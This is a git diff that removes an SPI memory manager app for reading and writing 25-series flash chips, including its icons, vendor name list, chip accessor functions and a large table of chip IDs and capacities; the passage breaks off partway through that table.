- fap_description="Application for reading and writing 25-series SPI memory chips", - fap_version="1.0", - fap_icon="images/Dip8_10px.png", - fap_category="GPIO", - fap_icon_assets="images", - fap_private_libs=[ - Lib( - name="spi", - ), - ], -) diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png deleted file mode 100644 index 4ff2e3042..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png deleted file mode 100644 index 8893a4881..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png deleted file mode 100644 index 1342dc7bf..000000000 Binary files a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate deleted file mode 100644 index d8263ee98..000000000 --- a/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 \ No newline at end of file diff --git a/applications/external/spi_mem_manager/images/Dip8_10px.png b/applications/external/spi_mem_manager/images/Dip8_10px.png deleted file mode 100644 index 9de9364d1..000000000 Binary files a/applications/external/spi_mem_manager/images/Dip8_10px.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/Dip8_32x36.png b/applications/external/spi_mem_manager/images/Dip8_32x36.png deleted file mode 100644 index 8f01af276..000000000 Binary files a/applications/external/spi_mem_manager/images/Dip8_32x36.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png b/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png deleted file mode 100644 index e6c3ce363..000000000 Binary files a/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png and /dev/null differ diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c deleted file mode 100644 index f7f98dce2..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c +++ /dev/null @@ -1,105 +0,0 @@ -#include "spi_mem_chip_i.h" - -const SPIMemChipVendorName spi_mem_chip_vendor_names[] = { - {"Adesto", SPIMemChipVendorADESTO}, - {"AMIC", SPIMemChipVendorAMIC}, - {"Boya", SPIMemChipVendorBoya}, - {"EON", SPIMemChipVendorEON}, - {"PFlash", SPIMemChipVendorPFLASH}, - {"Terra", SPIMemChipVendorTERRA}, - {"Generalplus", SPIMemChipVendorGeneralplus}, - {"Deutron", SPIMemChipVendorDEUTRON}, - {"EFST", SPIMemChipVendorEFST}, - {"Excel Semi.", SPIMemChipVendorEXCELSEMI}, - {"Fidelix", SPIMemChipVendorFIDELIX}, - {"GigaDevice", SPIMemChipVendorGIGADEVICE}, - {"ICE", SPIMemChipVendorICE}, - {"Intel", SPIMemChipVendorINTEL}, - {"KHIC", SPIMemChipVendorKHIC}, - {"Macronix", SPIMemChipVendorMACRONIX}, - {"Micron", SPIMemChipVendorMICRON}, - {"Mshine", SPIMemChipVendorMSHINE}, - {"Nantronics", SPIMemChipVendorNANTRONICS}, - {"Nexflash", SPIMemChipVendorNEXFLASH}, - {"Numonyx", SPIMemChipVendorNUMONYX}, - {"PCT", SPIMemChipVendorPCT}, - {"Spansion", SPIMemChipVendorSPANSION}, - {"SST", SPIMemChipVendorSST}, - {"ST", SPIMemChipVendorST}, - {"Winbond", SPIMemChipVendorWINBOND}, - {"Zempro", SPIMemChipVendorZEMPRO}, - {"Zbit", SPIMemChipVendorZbit}, - {"Berg Micro.", SPIMemChipVendorBerg_Micro}, - {"Atmel", SPIMemChipVendorATMEL}, - {"ACE", SPIMemChipVendorACE}, - {"ATO", SPIMemChipVendorATO}, - {"Douqi", SPIMemChipVendorDOUQI}, - {"Fremont", SPIMemChipVendorFremont}, - {"Fudan", SPIMemChipVendorFudan}, - {"Genitop", SPIMemChipVendorGenitop}, - {"Paragon", SPIMemChipVendorParagon}, - {"Unknown", SPIMemChipVendorUnknown}}; - -static const char* spi_mem_chip_search_vendor_name(SPIMemChipVendor vendor_enum) { - const SPIMemChipVendorName* vendor = spi_mem_chip_vendor_names; - while(vendor->vendor_enum != SPIMemChipVendorUnknown && vendor->vendor_enum != vendor_enum) - vendor++; - return vendor->vendor_name; -} - -bool spi_mem_chip_find_all(SPIMemChip* chip_info, found_chips_t found_chips) { - const SPIMemChip* chip_info_arr; - found_chips_reset(found_chips); - for(chip_info_arr = SPIMemChips; chip_info_arr->model_name != NULL; chip_info_arr++) { - if(chip_info->vendor_id != chip_info_arr->vendor_id) continue; - if(chip_info->type_id != chip_info_arr->type_id) continue; - if(chip_info->capacity_id != chip_info_arr->capacity_id) continue; - found_chips_push_back(found_chips, chip_info_arr); - } - if(found_chips_size(found_chips)) return true; - return false; -} - -void spi_mem_chip_copy_chip_info(SPIMemChip* dest, const SPIMemChip* src) { - memcpy(dest, src, sizeof(SPIMemChip)); -} - -size_t spi_mem_chip_get_size(SPIMemChip* chip) { - return (chip->size); -} - -const char* spi_mem_chip_get_vendor_name(const SPIMemChip* chip) { - return (spi_mem_chip_search_vendor_name(chip->vendor_enum)); -} - -const char* spi_mem_chip_get_vendor_name_by_enum(uint32_t vendor_enum) { - return (spi_mem_chip_search_vendor_name(vendor_enum)); -} - -const char* spi_mem_chip_get_model_name(const SPIMemChip* chip) { - return (chip->model_name); -} - -uint8_t spi_mem_chip_get_vendor_id(SPIMemChip* chip) { - return (chip->vendor_id); -} - -uint8_t spi_mem_chip_get_type_id(SPIMemChip* chip) { - return (chip->type_id); -} - -uint8_t spi_mem_chip_get_capacity_id(SPIMemChip* chip) { - return (chip->capacity_id); -} - -SPIMemChipWriteMode spi_mem_chip_get_write_mode(SPIMemChip* chip) { - return (chip->write_mode); -} - -size_t spi_mem_chip_get_page_size(SPIMemChip* chip) { - return (chip->page_size); -} - -uint32_t spi_mem_chip_get_vendor_enum(const SPIMemChip* chip) { - return ((uint32_t)chip->vendor_enum); -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h deleted file mode 100644 index 683937df4..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include -#include - -typedef struct SPIMemChip SPIMemChip; - -ARRAY_DEF(found_chips, const SPIMemChip*, M_POD_OPLIST) - -typedef enum { - SPIMemChipStatusBusy, - SPIMemChipStatusIdle, - SPIMemChipStatusError -} SPIMemChipStatus; - -typedef enum { - SPIMemChipWriteModeUnknown = 0, - SPIMemChipWriteModePage = (0x01 << 0), - SPIMemChipWriteModeAAIByte = (0x01 << 1), - SPIMemChipWriteModeAAIWord = (0x01 << 2), -} SPIMemChipWriteMode; - -const char* spi_mem_chip_get_vendor_name(const SPIMemChip* chip); -const char* spi_mem_chip_get_model_name(const SPIMemChip* chip); -size_t spi_mem_chip_get_size(SPIMemChip* chip); -uint8_t spi_mem_chip_get_vendor_id(SPIMemChip* chip); -uint8_t spi_mem_chip_get_type_id(SPIMemChip* chip); -uint8_t spi_mem_chip_get_capacity_id(SPIMemChip* chip); -SPIMemChipWriteMode spi_mem_chip_get_write_mode(SPIMemChip* chip); -size_t spi_mem_chip_get_page_size(SPIMemChip* chip); -bool spi_mem_chip_find_all(SPIMemChip* chip_info, found_chips_t found_chips); -void spi_mem_chip_copy_chip_info(SPIMemChip* dest, const SPIMemChip* src); -uint32_t spi_mem_chip_get_vendor_enum(const SPIMemChip* chip); -const char* spi_mem_chip_get_vendor_name_by_enum(uint32_t vendor_enum); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c deleted file mode 100644 index 25b237d68..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c +++ /dev/null @@ -1,1399 +0,0 @@ -#include "spi_mem_chip_i.h" -const SPIMemChip SPIMemChips[] = { - {0x1F, 0x40, 0x00, "AT25DN256", 32768, 256, SPIMemChipVendorADESTO, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x20, "A25L05PT", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x10, "A25L05PU", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x21, "A25L10PT", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x11, "A25L10PU", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x22, "A25L20PT", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x12, "A25L20PU", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x23, "A25L40PT", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x13, "A25L40PU", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x24, "A25L80PT", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x14, "A25L80PU", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x25, "A25L16PT", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x15, "A25L16PU", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "A25L512", 65536, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "A25L010", 131072, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "A25L020", 262144, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x13, "A25L040", 524288, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x14, "A25L080", 1048576, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x15, "A25L016", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "A25L032", 4194304, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x40, 0x15, "A25LQ16", 2097152, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x37, 0x40, 0x16, "A25LQ32A", 4194304, 256, SPIMemChipVendorAMIC, SPIMemChipWriteModePage}, - {0x68, 0x40, 0x14, "BY25D80", 1048576, 256, SPIMemChipVendorBoya, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25B05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25B05T", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25B10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25B10T", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25B20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25B20T", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25B40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25B40T", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25B80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25B80T", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25B16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25B16T", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25B32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25B32T", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25B64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25B64T", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x10, "EN25F05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x11, "EN25F10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x12, "EN25F20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x13, "EN25F40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x14, "EN25F80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x15, "EN25F16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x16, "EN25F32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x10, "EN25LF05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x11, "EN25LF10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x12, "EN25LF20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x13, "EN25LF40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "EN25P05", 65536, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x11, "EN25P10", 131072, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x12, "EN25P20", 262144, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x13, "EN25P40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x14, "EN25P80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x15, "EN25P16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x16, "EN25P32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x17, "EN25P64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x13, "EN25Q40", 524288, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x14, "EN25Q80A", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x15, "EN25Q16A", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x16, "EN25Q32A", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x16, "EN25Q32A", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x16, "EN25Q32B", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x17, "EN25Q64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x30, 0x18, "EN25Q128", 16777216, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x15, "EN25QH16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x16, "EN25QH32", 4194304, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x17, "EN25QH64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x18, "EN25QH128", 16777216, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x70, 0x19, "EN25QH256", 33554432, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x51, 0x14, "EN25T80", 1048576, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x51, 0x15, "EN25T16", 2097152, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x1C, 0x31, 0x17, "EN25F64", 8388608, 256, SPIMemChipVendorEON, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7C, "Pm25LV010", 131072, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x21, "Pm25LD010", 131072, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x22, "Pm25LV020", 262144, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7D, "Pm25W020", 262144, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x7F, 0x9D, 0x7E, "Pm25LV040", 524288, 256, SPIMemChipVendorPFLASH, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "TS25L512A", 65536, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "TS25L010A", 131072, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "TS25L020A", 262144, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16AP", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16BP", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "ZP25L16P", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x15, "TS25L16PE", 2097152, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x14, "TS25L80PE", 1048576, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "TS25L032A", 4194304, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "TS25L40P", 524288, 256, SPIMemChipVendorTERRA, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x10, - "GPR25L005E", - 65536, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "GPR25L161B", - 262144, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x12, - "GPR25L020B", - 262144, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "GPR25L3203F", - 4194304, - 256, - SPIMemChipVendorGeneralplus, - SPIMemChipWriteModePage}, - {0x9D, 0x7B, 0x00, "AC25LV512", 65536, 256, SPIMemChipVendorDEUTRON, SPIMemChipWriteModePage}, - {0x9D, 0x7C, 0x00, "AC25LV010", 131072, 256, SPIMemChipVendorDEUTRON, SPIMemChipWriteModePage}, - {0x9D, 0x7B, 0x00, "EM25LV512", 65536, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x9D, 0x7C, 0x00, "EM25LV010", 131072, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x13, "F25L004A", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x14, "F25L008A", 1048576, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x15, "F25L016A", 2097152, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x8C, 0x8C, "F25L04UA", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x13, "F25L04P", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x30, 0x13, "F25S04P", 524288, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x14, "F25L08P", 1048576, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x15, "F25L16P", 2097152, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x20, 0x16, "F25L32P", 4194304, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x8C, 0x40, 0x16, "F25L32Q", 4194304, 256, SPIMemChipVendorEFST, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x11, "ES25P10", 131072, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x12, "ES25P20", 262144, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x13, "ES25P40", 524288, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x14, "ES25P80", 1048576, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x15, "ES25P16", 2097152, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x20, 0x16, "ES25P32", 4194304, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x13, "ES25M40A", 524288, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x14, "ES25M80A", 1048576, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0x4A, 0x32, 0x15, "ES25M16A", 2097152, 256, SPIMemChipVendorEXCELSEMI, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x14, "FM25Q08A", 1048576, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x15, "FM25Q16A", 2097152, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x15, "FM25Q16B", 2097152, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x16, "FM25Q32A", 4194304, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xF8, 0x32, 0x17, "FM25Q64A", 8388608, 256, SPIMemChipVendorFIDELIX, SPIMemChipWriteModePage}, - {0xC8, 0x30, 0x13, "GD25D40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x30, 0x14, "GD25D80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x20, 0x13, "GD25F40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x20, 0x14, "GD25F80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x10, "GD25Q512", 65536, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x11, "GD25Q10", 131072, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x12, "GD25Q20", 262144, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x12, - "GD25LQ20C_1.8V", - 262144, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x13, "GD25Q40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x14, "GD25Q80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x14, - "GD25Q80B", - 1048576, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x14, - "GD25Q80C", - 1048576, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x15, "GD25Q16", 2097152, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x15, - "GD25Q16B", - 2097152, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x16, "GD25Q32", 4194304, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x16, - "GD25Q32B", - 4194304, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x40, 0x17, "GD25Q64", 8388608, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x17, - "GD25Q64B", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x17, - "GD25B64C", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x18, - "GD25Q128B", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x40, - 0x18, - "GD25Q128C", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x17, - "GD25LQ064C_1.8V", - 8388608, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x18, - "GD25LQ128C_1.8V", - 16777216, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, - 0x60, - 0x19, - "GD25LQ256C_1.8V", - 33554432, - 256, - SPIMemChipVendorGIGADEVICE, - SPIMemChipWriteModePage}, - {0xC8, 0x31, 0x14, "MD25T80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x12, "MD25D20", 262144, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x13, "MD25D40", 524288, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x14, "MD25D80", 1048576, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x51, 0x40, 0x15, "MD25D16", 2097152, 256, SPIMemChipVendorGIGADEVICE, SPIMemChipWriteModePage}, - {0x1C, 0x20, 0x10, "ICE25P05", 65536, 128, SPIMemChipVendorICE, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QB25F016S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QB25F160S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x12, "QB25F320S33B", 4194304, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x13, "QB25F640S33B", 8388608, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QH25F016S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QH25F160S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x12, "QH25F320S33B", 4194304, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "KH25L1005", 131072, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "KH25L1005A", 131072, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "KH25L2005", 262144, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "KH25L4005", 524288, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "KH25L4005A", 524288, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "KH25L512", 65536, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "KH25L512A", 65536, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "KH25L8005", 1048576, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x26, 0x15, "KH25L8036D", 1048576, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005A", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005C", 131072, 256, 